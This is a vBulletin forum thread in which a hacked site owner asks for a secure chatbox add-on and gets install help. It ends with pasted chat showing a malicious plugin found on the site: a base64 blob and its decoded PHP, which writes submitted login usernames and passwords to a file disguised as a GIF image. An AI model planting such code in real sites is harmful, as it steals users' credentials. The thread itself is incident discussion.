need help with good secure chabox

[xpwmaster]

i am using now MGC Chatbox Evo 3.4.0 , my site been hacked lately . i am afriad those kind of addons i put might made the hackers easy way in . is there any secure and safe chabox for vb anyone can recomned to me here .

[ozzy47]

This one, https://vborg.vbsupport.ru/showthread.php?t=236970

[blind-eddie]

Originally Posted by xpwmaster

i am using now MGC Chatbox Evo 3.4.0 , my site been hacked lately . i am afriad those kind of addons i put might made the hackers easy way in . is there any secure and safe chabox for vb anyone can recomned to me here .

How do you know it was MGC Chatbox Evo 3.4.0 that allowed hackers to get into your site?

[xpwmaster]

thanks ozzy . is it real secure? did anyone had problem with it ?

--------------- Added [DATE]1410266511[/DATE] at [TIME]1410266511[/TIME] ---------------

not sure if it was MGC Chatbox Evo 3.4.0 that creat that exploit . but for sure it was vsa statitics addon . so aint sure whice of those scripts are secure

--------------- Added [DATE]1410268740[/DATE] at [TIME]1410268740[/TIME] ---------------

[ozzy47]

Yes the DBTech one is secure for sure.

How do you know it was the VSA stats mod that has a exploit?

[xpwmaster]

i am getting error when importing the xml

The requested URL /admin/vbshout.php was not found on this server.

damm

[ozzy47]

You need to load the files that came with the mod before importing the XML, read the instructions in the read me file in the mods zip.

[xpwmaster]

ya i intalled . but it isnt good like MGC Chatbox Evo whice has many great options

[ozzy47]

How do you know it was the VSA stats mod that has a exploit?

What features are missing?

[xpwmaster]

had gif file when opened with notpad showed all users ad passwords .


BiGFiST> well, they added actual plugins
<FireBirD> were
<FireBirD> whice plug ins they added
<BiGFiST> see under vsa stats
<BiGFiST> two login location products
<BiGFiST> there's base64 php code
<BiGFiST> i decrypted that here http://www.base64decode.org/
<BiGFiST> JHN0ciA9ICIiLiRfUE9TVFsndmJfbG9naW5fdXNlcm5hbWUnXS 4iOiIuJF9QT1NUWyd2Yl9sb2dpbl9wYXNzd29yZCddLiJcclxu IjsgDQokZnAgPSBmb3BlbiAoImltYWdlcy9taXNjL3RyZWVfcn guZ2lmIiwgImErIik7IA0KZndyaXRlICgkZnAsICIkc3RyIik7 IA0KZmNsb3NlICgkZnApOw==
<BiGFiST> that gives
<BiGFiST> $str = "".$_POST['vb_login_username'].":".$_POST['vb_login_password']."\r\n";
<BiGFiST> $fp = fopen ("images/misc/tree_rx.gif", "a+");
<BiGFiST> fwrite ($fp, "$str");
<BiGFiST> fclose ($fp);